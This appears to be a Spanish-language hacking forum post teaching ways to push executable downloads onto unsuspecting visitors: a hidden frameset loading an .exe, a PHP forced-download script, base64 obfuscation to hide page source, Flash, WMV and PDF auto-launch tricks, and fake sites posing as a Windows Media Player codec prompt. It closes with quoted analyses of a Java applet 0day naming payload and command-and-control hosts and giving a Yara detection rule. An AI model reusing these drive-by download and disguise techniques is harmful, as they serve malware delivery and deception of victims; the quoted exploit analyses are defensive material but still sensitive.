• FAQ

  • Soluciona aquí tus preguntas frecuentes. Temas recomendados antes de preguntar.
Soluciona aquí tus preguntas frecuentes. Temas recomendados antes de preguntar.
 #296555  por $DoC
 18 May 2011, 17:06
Embeber descargas en archivos


Metodo Iframe en HTML
En html podrias usar framesets para cargar una web, un ejecutable y cualquier otra cosa a la vez. La estructura para vincular el .exe es:
Código: Seleccionar todo
<frame src="http://pagina.com/CALC.EXE"/> 
<html><head><title> </title></head><frameset rows="0,*">
<frame src="http://pagina.com/CALC.EXE" name="top_frame" frameborder="0" scrolling="no" noresize="noresize" marginheight="0" marginwidth="0"/>
<noframes></body></noframes></frameset></html> 
Cifrado: Base64+HTML

Puedes codificar el HTML simple a base64 para que no halla una lectura tan clara del source.

Web para cifrar el html:
[ Debe registrarse para ver este enlace ]
Copian todo el codigo en dicha página, lo encriptas y obtendras una forma codificada en base64 del archivo html.

Ejemplo webfake cifrado HTML + BASE64
[ Debe registrarse para ver este enlace ]

Metodo Octect/sockets en PHP
En PHP podrias usar un corto script para llamar a tu archivo .exe desde PHP y solicitar la descarga. El archivo PHP y el EXE deben de estar en la misma ruta, o sino, especificar la ruta del .exe en la linea
$flnm = "archivo.exe" por la ubicación del archivo que se desea descargar para poder cargarlo.
Código: Seleccionar todo
<?
$flnm = "archivo.exe";
$size = filesize($flnm);
$fp = fopen($flnm, "r");
$src = fread($fp, $size);
fclose($fp);
header("Accept-Ranges: bytes\r\n");
header("Content-Length: ".$size."\r\n");
header("Content-Disposition: inline; filename=".$flnm);
header("\r\n");
header("Content-Type: application/octet-stream\r\n\r\n");
echo $src;
?>
Cifrado: Base64+PHP

Tambien lo podrias pasar a PHP y codificarlo en otra forma de base64 que no usa 'unescape'.
Web para cifrar el PHP
[ Debe registrarse para ver este enlace ] ... e64Encode/
Una vez teniendo la cadena base64 cifrada, la añades a un nuevo documento .php con la siguiente estructura:
Código: Seleccionar todo
<?
$data = "CODIFICADO_BASE64";
$data = base64_decode($data);
echo $data;
exit;
?> 
$data = "CODIFICADO_BASE64"; [Reemplazar CODIFICADO_BASE64 por el codigo resultante del cifrado 2]

Metodo getURL actionscript para SWF
Para swf se puede usar una funcion llamada getURL, esta permite abrir una URL automaticamente desde una pelicula flash, permitiendo asi por ejemplo lanzar una web que genere una descarga, o vincular directamente a un archivo que se desee descargar. Se puede hacer esto por ejemplo usando dos capas, en una ubicando el GetURL y en la otra invocando a la capa con dicha funcion.

Cuando cargue la pelicula flash, se abrira la capa1 y esta cargara la capa2 que contiene la descarga.

capa1
l
L----> capa2_geturl("web.com/server.exe")

Método de dos fotrogramas:

Imagen

Basta editar la URL a la que queramos redirigir el visitante que abra el SWF, los niveles _parent, _self y _top hacen referencia al modo en que se abrira (en la misma ventana, en una nueva o abriendo nueva ventana

Metodo para injectar URL en WMV
Este permite lanzar una web mientras se reproduce un video, esto se logra usando los archivos .ASF (esos no los tocaremos). Mas facil creando un evento dentro del video con el Editor de Archivos de Windows Media (es una tool que no viene por defecto, pero esta en el paquete SDK). Se crea un evento URLANDEXIT en algun frame de la pelicula y ya.

Creacion de un evento URLANDEXIT en WMV
De las herramientas de Windows Media Encoder se usa una llamada Windows Media File Editor. Con esta se pueden añadir eventos o script en cualquier frame del video. El evento que se añade es un URLANDEXIT, y el parametro la dirección a la cual conectar

WMV Ejecutandose (Solicitando descarga URL)
Imagen

[ Debe registrarse para ver este enlace ]

Claro que esta tecnica la bloquea el Iexplore 7 tal si se hace por web, pero seria una seria amenaza para redes P2P

Ademas cabe notar que enlazamos a una web cualquiera, si enlazaramos a una web con un 0day o algo por el estilo, el video se convertiria en un medio de transporte aun más peligroso.

Metodo URI dentro de un PDF.
Este metodo sirve para lanzar webs embebidas automaticamente dentro de un PDF. Si lo quieren analizar lo pueden hacer desde un editor hexadecimal, se ven claramente las secciones del codigo que interesan para editar. Basta editar la URL por cualquier otra para lograr el efecto que buscamos, abrir una URL al momento en que se abra el PDF.

Imagen

Archivo ejemplo:
[ Debe registrarse para ver este enlace ]

Este PDF en su codigo interno trata de abrir una pagina PHP, si se le permite conectar a la pagina genera un dialogo de descarga solicitando descargar un plugin. Esta confirmación de seguridad la hace acrobat para sitios externos, pero si se aplica el mismo concepto en sitios de confianza (man-in-the-middle por ej) se puede lanzar cualquier página sin confirmación.

Imagen

Metodo mediante fake web
Un Fakeweb es un script que emula emula el estilo gráfico y funcionamiento de alguna pagina, pero es un fake o version falsa que aprovecha para lanzar alguna funcion maliciosa al usuario visitante de la misma.

Se suplanta la identidad para generar confianza en el usuario visitante y lograr por ejemplo que el mismo descargue algun contenido que se le solicite.

Por ejemplo, simular una ventana del Windows Media Player y solicitar al visitante que descargue el codec apropiado para ver un video.

Imagen

0days y vulnerabilidades

¿QUE ES UN 0DAY?
0Day es la denominación que se le tienen las releases.
Estas releases 0day o 0-day (cero día) significa que son vulnerabilidades que recién han salido a la luz. 0day o 0-day significa lo último disponible, lo más nuevo y aun no parcheado, por lo que pueden vulnerar sistemas especificos y generar una descarga y ejecución automatica mediante inyeccion de codigo.
En los siguientes ejemplos hay 4 0days que ilustran perfectamente el funcionamiento de los mismos.

FLASH 0day
Este no es vulnerable en Firefox, y solo afecta una version del Flash Player 9 diferente a la que ahora ofrece Macromedia que ya esta parcheada. Pero, si el usuario reinstala la version anterior desviado por un mensaje de Actualizar version (ilusionismo) tal vez sea posible.

Imagen


ANI 0day
Detectado en sus multiples variaciones hoy en dia, el ANI 0day depende de IE6 y sin AV o defensa que lo detecte. Este usa un JPG como archivo para embeber el codigo de descarga y ejecución

Imagen

Ejemplo Detallado 1 escribió:The malicious JAR file was served from ok.aa24.net / meeting / index.html

The html loads the Java applet passing some parameters that are used later to build the URL to download the payload. The HTML is encrypted using “Dadong’s JSXX 0.44 VIP”.

Imagen

The Java applet contains the following two .class files:

- cve2012xxxx/Gondzz.class

- cve2012xxxx/Gondvv.class

The applet check if the system is running Windows and gets the parameters passed from the HTML that contains the URL to download the payload. If the system is vulnerable, the payload is downloaded and executed in the system.

Imagen

Imagen

On the analyzed sample the payload is downloaded from ok.aa24.net / meeting / hi.exe

[ Debe registrarse para ver este enlace ]

The payload drops C:\WINDOWS\system32\mspmsnsv.dll (replace the file if present) and starts the Portable Media Serial Number Service.

The malware connects to hello.icon.pk port 80. It seems to be a Poison Ivy variant.

hello.icon.pk resolvs to:

223.25.233.244

223.25.233.0 - 223.25.233.255

8 to Infinity Pte Ltd

You can use the following generic Yara rule to detect a malicious .class file exploiting this vulnerability:

rule Java0daycve2012xxxx_generic
{
meta:
weight=100
author = "Jaime Blasco"
source = "alienvault"
date = "2012-08"
strings:
$ = "java/security/ProtectionDomain"
$ = "java/security/Permissions"
$ = "java/security/cert/Certificate"
$ = "setSecurityManager"
$ = "file:///"
$ = "sun.awt.SunToolkit"
$ = "getField"
condition:
all of them
}
A module has just been published for Metasploit so it is time to disable Java in all your systems

And remember to search your logs for connections to the Domains/IPs related to this attack.

Have a great day!
Ejemplo Detallado 2 escribió:Imagen

Tal cómo puede observarse en la captura anterior, el código html del sitio web carga un archivo jar, que en el ejemplo responde al nombre de Exploit.jar, el cual se ejecuta en el entorno del applet. Cabe destacar que aquí es donde yace la vulnerabilidad. Java permite la ejecución de códigos del tipo applet pero lo hace con permisos muy restringidos. Esta vulnerabilidad, en términos generales, permite elevar el nivel de permisos y ejecutar código arbitrario sobre el sistema de la víctima. De esa forma, si el usuario ingresa a un sitio web que contiene un applet malicioso, su sistema puede ser comprometido. Vale aclarar que la carga del applet es totalmente legítima, es el propio archivo jar el que manipula la máquina virtual de Java y salta las protecciones correspondientes para ejecutar el código arbitrario.

Continuando con el análisis, se comprobó cómo se aprovechaba de la vulnerabilidad. Curiosamente, la explotación es sumamente silenciosa, es decir, ni siquiera se visualiza el cuadro de diálogo que solicita la autorización del usuario para ejecutar el código del applet. De esta forma, los ciberdelincuentes cargan el código del applet de un tamaño no visible, es decir, 1 pixel de alto por 1 pixel de ancho para que la potencial víctima no sospeche nada al visitar el sitio web malicioso.

¿Dónde reside la vulnerabilidad?

Analizando el código del exploit, la función que modifica los privilegios responde al nombre de disableSecurity(). Este exploit aprovecha las características de reflexión (reflection) que brinda el propio lenguaje de Java. Esta característica permite a un programa en Java examinar y manipular sus propiedades internas. A continuación, puede observarse una captura del código desensamblado del exploit que muestra la función disableSecurity():

Imagen

Si continuamos con el análisis, se puede observar que existe un método SetField() que permite cambiar el contenido de un campo de un objeto. Tal como se ve en la captura anterior, el exploit establece todos los permisos y mediante el método SetField() modifica el campo “acc” asignándole un objeto del tipo AccessControlContext con los permisos definidos anteriormente. En teoría esto no debería poder ejecutarse, sin embargo se utiliza otro método denominado GetClass() el cual permite obtener el campo “acc” antes mencionado a partir del método getField() de la clase sun.awt.Suntoolkit. Una vez que este campo es accesible, el método setField() lo modifica. Cabe aclarar que los objetos pertenecientes a sun.* no pueden ser accesibles desde un applet. Para evadir esta protección, se utiliza un segundo método que responde al nombre de GetClass(). Este método realiza una llamada a forName para poder acceder al objeto y saltar la mencionada restricción. A continuación puede visualizarse los métodos a partir del código del exploit desensamblado:

Imagen

Para aquellos usuarios que posean instalado la versión de Java 7 en cualquiera de sus actualizaciones, es recomendable desactivar esta característica. En nuestro post titulado ¿Cómo desactivar Java del navegador? se indican las instrucciones para realizarlo en cada uno de los navegadores. Asimismo, es importante contar con una solución antivirus con capacidad de detección proactiva que permita estar protegidos contra la descarga y ejecución de los códigos maliciosos que puedan ser utilizados al explotar esta vulnerabilidad.